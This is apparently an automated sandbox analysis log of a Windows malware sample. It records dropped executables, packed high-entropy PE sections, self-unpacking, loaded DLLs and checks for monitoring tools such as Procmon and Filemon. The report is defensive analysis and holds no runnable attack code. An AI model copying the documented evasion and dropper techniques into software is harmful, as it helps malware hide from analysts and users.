Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7020 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=4828 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=1816 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3596 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1925120 > 1048576

Source: file.exe

Static PE information: Raw size of mitseuwh is bigger than: 0x100000 < 0x1a4800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.820000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 2.2.explorti.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 3.2.explorti.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 6.2.explorti.exe.8c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mitseuwh:EW;dsajnmtd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Unpacked PE file: 7.2.48c5076e95.exe.aa0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW;
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Unpacked PE file: 8.2.a759b4c7d8.exe.bf0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fgtetwml:EW;kzhupcow:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Code function: 9_2_009E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

9_2_009E42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: a759b4c7d8.exe.6.dr	Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe
Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1dad7e should be: 0x1e140a
Source: file.exe	Static PE information: real checksum: 0x1dad7e should be: 0x1e140a
Source: 48c5076e95.exe.6.dr	Static PE information: real checksum: 0x1c1290 should be: 0x1c22fe

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mitseuwh
Source: file.exe	Static PE information: section name: dsajnmtd
Source: file.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: mitseuwh
Source: explorti.exe.0.dr	Static PE information: section name: dsajnmtd
Source: explorti.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: fgtetwml
Source: random[1].exe.6.dr	Static PE information: section name: kzhupcow
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 48c5076e95.exe.6.dr	Static PE information: section name:
Source: 48c5076e95.exe.6.dr	Static PE information: section name: .rsrc
Source: 48c5076e95.exe.6.dr	Static PE information: section name: .idata
Source: 48c5076e95.exe.6.dr	Static PE information: section name:
Source: 48c5076e95.exe.6.dr	Static PE information: section name: fgtetwml
Source: 48c5076e95.exe.6.dr	Static PE information: section name: kzhupcow
Source: 48c5076e95.exe.6.dr	Static PE information: section name: .taggant
Source: a759b4c7d8.exe.6.dr	Static PE information: section name:
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: .rsrc
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: .idata
Source: a759b4c7d8.exe.6.dr	Static PE information: section name:
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: fgtetwml
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: kzhupcow
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_008DD84C push ecx; ret		6_2_008DD85F
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Code function: 9_2_00A00A76 push ecx; ret		9_2_00A00A89

Source: file.exe	Static PE information: section name: entropy: 7.972886054647514
Source: file.exe	Static PE information: section name: mitseuwh entropy: 7.95339242272568
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.972886054647514
Source: explorti.exe.0.dr	Static PE information: section name: mitseuwh entropy: 7.95339242272568
Source: random[1].exe.6.dr	Static PE information: section name: fgtetwml entropy: 7.954088154505861
Source: 48c5076e95.exe.6.dr	Static PE information: section name: fgtetwml entropy: 7.954088154505861
Source: a759b4c7d8.exe.6.dr	Static PE information: section name: fgtetwml entropy: 7.954088154505861

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
